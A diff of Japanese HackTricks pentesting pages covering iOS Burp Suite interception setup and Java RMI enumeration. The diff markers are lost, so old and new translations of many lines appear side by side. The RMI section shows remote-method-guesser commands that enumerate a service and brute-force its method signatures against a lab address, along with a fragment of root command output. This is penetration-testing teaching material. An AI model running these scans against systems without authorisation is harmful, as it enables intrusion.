<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# iOS用のBurp Suiteの設定
|
||||
# iOS向けのBurp Suiteの設定
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -25,10 +25,10 @@
|
|||
[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)をインストールして、Burp証明書のインストール、プロキシの設定、およびSSLピニングの実行をサポートします。\
|
||||
または、次の手順に従って手動で行うこともできます。
|
||||
|
||||
* **Burp**をiPhoneの**プロキシとして設定**するには、**\_Settings**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**ネットワークをクリック**_\*\* --> \*\*_**プロキシ**\_
|
||||
* `http://burp`にアクセスして証明書をダウンロードします
|
||||
* _**設定**_ --> _**一般**_ --> _**VPNとデバイス管理**_ --> ダウンロードしたプロファイルを選択してインストールします(コードが要求されます)
|
||||
* _**設定**_ --> _**一般**_ --> _**情報**_ --> _**証明書信頼設定**_ でPortSwigger CAを有効にします
|
||||
* **Burp**をiPhoneの**プロキシとして設定**するには、\_Settings_ --> _**Wifi**_ --> _**ネットワークをクリック**_ --> _**プロキシ**_を設定します。
|
||||
* `http://burp`にアクセスして証明書をダウンロードします。
|
||||
* _**設定**_ --> _**一般**_ --> _**VPNとデバイス管理**_にアクセスし、ダウンロードしたプロファイルを選択してインストールします(コードが要求されます)。
|
||||
* _**設定**_ --> _**一般**_ --> _**情報**_ --> _**証明書信頼設定**_にアクセスし、PortSwigger CAを有効にします。
|
||||
|
||||
### localhostを介したインターセプトプロキシの設定
|
||||
|
||||
|
@ -38,7 +38,7 @@ PortSwiggerは、iOSデバイスをBurpと連携させるための[チュート
|
|||
|
||||
#### ルート化されたデバイスでUSB経由でBurpを使用する
|
||||
|
||||
動的解析を行う際には、トラフィックをコンピュータ上で実行しているBurpにルーティングするためにSSH接続を使用することが興味深いです。始めましょう:
|
||||
動的解析を行う際には、コンピュータ上で実行されているBurpにトラフィックをルーティングするためにSSH接続を使用することが興味深いです。始めましょう:
|
||||
|
||||
まず、iOSからlocalhostで利用可能なSSHを作成するために**iproxy**を使用する必要があります。
|
||||
```bash
|
||||
|
@ -57,12 +57,12 @@ iOSデバイスでBurpにアクセスできるようになりました。iOSのS
|
|||
2. _どの_ Wi-Fiに接続します(実際にはどのWi-Fiに接続しても構いません。ポート80と443のトラフィックはUSB経由でルーティングされます。Wi-Fiのプロキシ設定を使用してグローバルなプロキシを設定するだけなので)
|
||||
3. 接続したWi-Fiの右側にある小さな青いアイコンをクリックします。
|
||||
4. **手動**を選択してプロキシを設定します。
|
||||
5. **サーバー**として127.0.0.1を入力します。
|
||||
6. **ポート**として8080を入力します。
|
||||
5. **サーバー**に127.0.0.1と入力します。
|
||||
6. **ポート**に8080と入力します。
|
||||
|
||||
### ネットワークの完全な監視/スニッフィング
|
||||
|
||||
もしHTTP通信以外のものを**監視する必要がある**場合、**Wireshark**を使用してデバイスのトラフィックをスニッフィングすることができます。\
|
||||
もし、HTTP通信以外のものを**監視する必要がある**場合は、**Wireshark**を使用してデバイスのトラフィックをスニッフィングすることができます。\
|
||||
iOSデバイスのトラフィックをリアルタイムでリモートでスニッフィングするには、[iOSデバイスのリモート仮想インターフェースを作成](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)する必要があります。まず、macOSホストコンピュータに**Wireshark**が**インストール**されていることを確認してください。
|
||||
|
||||
1. iOSデバイスをUSB経由でmacOSホストコンピュータに**接続**します。
|
||||
|
@ -78,9 +78,9 @@ ip.addr == 192.168.1.1 && http
|
|||
```
|
||||
![](<../../.gitbook/assets/image (472).png>)
|
||||
|
||||
Wiresharkのドキュメントには、[Capture Filters](https://wiki.wireshark.org/CaptureFilters)の多くの例があり、必要な情報を取得するためのトラフィックをフィルタリングするのに役立ちます。
|
||||
[Wiresharkのドキュメント](https://wiki.wireshark.org/CaptureFilters)には、必要な情報を取得するためにトラフィックをフィルタリングするための多くの[キャプチャフィルタ](https://wiki.wireshark.org/CaptureFilters)の例があります。
|
||||
|
||||
## シミュレーターでのBurp証明書のインストール
|
||||
## シミュレータへのBurp証明書のインストール
|
||||
|
||||
* **Burp証明書のエクスポート**
|
||||
|
||||
|
@ -88,16 +88,16 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
|
||||
![](<../../.gitbook/assets/image (459).png>)
|
||||
|
||||
* エミュレーター内に証明書を**ドラッグアンドドロップ**します。
|
||||
* エミュレーター内で、_Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、証明書を**確認**します。
|
||||
* エミュレーター内で、_Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、PortSwigger CAを**有効化**します。
|
||||
* エミュレータ内に証明書を**ドラッグアンドドロップ**します。
|
||||
* エミュレータ内で、_Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、証明書を**確認**します。
|
||||
* エミュレータ内で、_Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、**PortSwigger CA**を有効にします。
|
||||
|
||||
![](<../../.gitbook/assets/image (460).png>)
|
||||
|
||||
**おめでとうございます。iOSシミュレーターでBurp CA証明書の設定が正常に完了しました。**
|
||||
**おめでとうございます。iOSシミュレータでBurp CA証明書の設定が正常に完了しました。**
|
||||
|
||||
{% hint style="info" %}
|
||||
**iOSシミュレーターは、MacOSのプロキシ設定を使用します。**
|
||||
**iOSシミュレータは、MacOSのプロキシ設定を使用します。**
|
||||
{% endhint %}
|
||||
|
||||
### MacOSのプロキシ設定
|
||||
|
@ -105,17 +105,17 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
Burpをプロキシとして設定する手順:
|
||||
|
||||
* _System Preferences_ --> _Network_ --> _Advanced_に移動します。
|
||||
* _Proxies_タブで、_Web Proxy (HTTP)_と_Secure Web Proxy (HTTPS)_を選択します。
|
||||
* 両方のオプションで、_127.0.0.1:8080_を設定します。
|
||||
* _Proxies_タブで、_Web Proxy (HTTP)_と_Secure Web Proxy (HTTPS)_にチェックを入れます。
|
||||
* 両方のオプションで_127.0.0.1:8080_を設定します。
|
||||
|
||||
![](<../../.gitbook/assets/image (461).png>)
|
||||
|
||||
* _**Ok**_をクリックし、_**Apply**_をクリックします。
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによる**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -124,10 +124,10 @@ Burpをプロキシとして設定する手順:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -32,20 +32,20 @@ PORT STATE SERVICE VERSION
|
|||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
通常、デフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみが一般的なポートにバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は通常、上記の出力に示されているようにランダムなポートにバインドされます。
|
||||
通常、デフォルトのJava RMIコンポーネント(RMIレジストリとアクティベーションシステム)のみが一般的なポートにバインドされます。実際のRMIアプリケーションを実装するリモートオブジェクトは通常、上記の出力に示されているようにランダムなポートにバインドされます。
|
||||
|
||||
_nmap_は、_SSL_で保護された_RMI_サービスを特定する際に問題が発生することがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。
|
||||
nmapは、SSLで保護されたRMIサービスを特定する際に問題が発生することがあります。一般的なRMIポートで不明なSSLサービスに遭遇した場合は、さらに調査する必要があります。
|
||||
|
||||
## RMIコンポーネント
|
||||
|
||||
簡単に言えば、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用できるようにします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは簡単に聞こえるかもしれませんが、_Java RMI_が解決する必要があるいくつかの課題があります。
|
||||
簡単に言えば、Java RMIは開発者がJavaオブジェクトをネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すことができるTCPポートが開かれます。これは簡単に聞こえるかもしれませんが、Java RMIが解決する必要があるいくつかの課題があります。
|
||||
|
||||
1. _Java RMI_を介してメソッド呼び出しをディスパッチするために、クライアントは対象オブジェクトのIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_では、複数のオブジェクトが同じ_TCP_ポートでリッスンできるため、これが必要です)を知る必要があります。
|
||||
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てる場合があります。_Java仮想マシン_は、これらのリソースのうち、まだ使用中のものとガベージコレクションできるものを追跡する必要があります。
|
||||
1. Java RMIを介してメソッド呼び出しをディスパッチするために、クライアントは対象オブジェクトのIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`(オブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子)を知る必要があります(Java RMIでは、複数のオブジェクトが同じTCPポートでリッスンすることができるため、`ObjID`が必要です)。
|
||||
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てる場合があります。Java仮想マシンは、これらのリソースのうちどれがまだ使用中であり、どれがガベージコレクションされる可能性があるかを追跡する必要があります。
|
||||
|
||||
最初の課題は、_RMIレジストリ_によって解決されます。_RMIレジストリ_は基本的に_Java RMI_のための名前付けサービスです。_RMIレジストリ_自体も_RMIサービス_ですが、実装されたインターフェースと`ObjID`は固定されており、すべての_RMI_クライアントによって知られています。これにより、_RMI_クライアントは対応する_TCP_ポートを知っているだけで_RMI_レジストリを利用できます。
|
||||
最初の課題は、Java RMIのための名前付けサービスであるRMIレジストリによって解決されます。RMIレジストリ自体もRMIサービスですが、実装されたインターフェースと`ObjID`は固定されており、すべてのRMIクライアントによって知られています。これにより、RMIクライアントは対応するTCPポートを知るだけでRMIレジストリを利用できます。
|
||||
|
||||
開発者がネットワーク内で_Javaオブジェクト_を利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_は、オブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`の値)を格納し、人間が読める名前(_バインド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バインド名_を要求し、レジストリは接続に必要なすべての情報を返します。したがって、状況は通常の_DNS_サービスと同じです。以下のリストは、小さな例を示しています。
|
||||
開発者がJavaオブジェクトをネットワーク上で利用可能にしたい場合、通常はそれらをRMIレジストリにバインドします。レジストリは、オブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、`ObjID`の値)を格納し、人間が読める名前(バインド名)の下で利用可能にします。RMIサービスを利用したいクライアントは、RMIレジストリに対応するバインド名を要求し、レジストリは接続に必要なすべての情報を返します。したがって、状況は通常のDNSサービスと同じです。以下のリストは、小さな例を示しています。
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -69,7 +69,7 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
上記の課題の2番目は、_分散ガベージコレクタ_(_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMIサービス_であり、基本的には各_RMIエンドポイント_で利用可能です。_RMIクライアント_が_RMIサービス_を使用し始めると、対応する_リモートオブジェクト_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、使用されていないオブジェクトをクリーンアップすることができます。
|
||||
上記の課題の2つ目は、_分散ガベージコレクタ_(_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMIサービス_であり、基本的には各_RMIエンドポイント_で利用可能です。_RMIクライアント_が_RMIサービス_を使用し始めると、対応する_リモートオブジェクト_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、使用されていないオブジェクトをクリーンアップすることができます。
|
||||
|
||||
非推奨の_アクティベーションシステム_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです:
|
||||
|
||||
|
@ -77,11 +77,11 @@ e.printStackTrace();
|
|||
2. _アクティベーションシステム_(`ObjID = 1`)
|
||||
3. _分散ガベージコレクタ_(`ObjID = 2`)
|
||||
|
||||
_Java RMI_のデフォルトコンポーネントは、古い_Java_バージョンには複数の脆弱性が存在するため、長い間既知の攻撃ベクトルとなっています。攻撃者の観点からは、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることができます。ただし、カスタム_RMIサービス_には異なる状況があります。_リモートオブジェクト_のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知る必要があります。既存のメソッドシグネチャを知らない場合、_RMIサービス_と通信する方法はありません。
|
||||
_Java RMI_のデフォルトコンポーネントは、古い_Java_バージョンには複数の脆弱性が存在するため、長い間攻撃の対象となっています。攻撃者の観点からは、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることができます。ただし、カスタム_RMIサービス_には異なる状況があります。_リモートオブジェクト_のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らない場合、_RMIサービス_と通信する方法はありません。
|
||||
|
||||
## RMI列挙
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な_RMIの脆弱性_を自動的に特定できる_Java RMI_脆弱性スキャナです。_RMI_エンドポイントを特定した場合は、試してみる価値があります:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な_RMI脆弱性_を自動的に特定できる_Java RMI_脆弱性スキャナです。_RMI_エンドポイントを特定した場合は、試してみることをお勧めします:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -143,7 +143,7 @@ $ rmg enum 172.17.0.2 9010
|
|||
```
|
||||
列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を検証する必要があります。
|
||||
|
||||
_remote-method-guesser_によって表示される`ObjID`の値を使用して、サービスの稼働時間を特定することができます。これにより、他の脆弱性を特定することができる場合があります。
|
||||
_remote-method-guesser_によって表示される`ObjID`の値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定することができる場合があります。
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
|
@ -158,7 +158,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|||
|
||||
列挙中に脆弱性が特定されなかった場合でも、利用可能な_RMI_サービスは危険な機能を公開している可能性があります。さらに、_RMI_デフォルトコンポーネントへの_RMI_通信は逆シリアル化フィルターによって保護されていますが、カスタム_RMI_サービスとの通信では、通常はこのようなフィルターが存在しません。したがって、_RMI_サービス上の有効なメソッドシグネチャを知ることは価値があります。
|
||||
|
||||
残念ながら、_Java RMI_は_リモートオブジェクト_上のメソッドを列挙することをサポートしていません。ただし、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)や[rmiscout](https://github.com/BishopFox/rmiscout)などのツールを使用して、メソッドシグネチャをブルートフォースすることは可能です。
|
||||
残念ながら、_Java RMI_はリモートオブジェクトのメソッドを列挙することをサポートしていません。ただし、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)や[rmiscout](https://github.com/BishopFox/rmiscout)などのツールを使用して、メソッドシグネチャをブルートフォースすることは可能です。
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
|
@ -227,7 +227,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
|
||||
## 既知のインターフェース
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースに既知の_RMIサービス_がリストされている場合、クラスやインターフェースを`known`としてマークします。これらの場合、`known`アクションを使用して対応する_RMIサービス_に関する詳細情報を取得できます。
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースに登録されている既知の_RMIサービス_のクラスやインターフェースを`known`としてマークします。これらの場合、`known`アクションを使用して対応する_RMIサービス_に関する詳細情報を取得できます:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
|
@ -307,10 +307,10 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -319,10 +319,10 @@ Command: rmg enum {IP} {PORT}
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
# 113 - Pentesting Ident
|
||||
# 113 - ペントテスト Ident
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
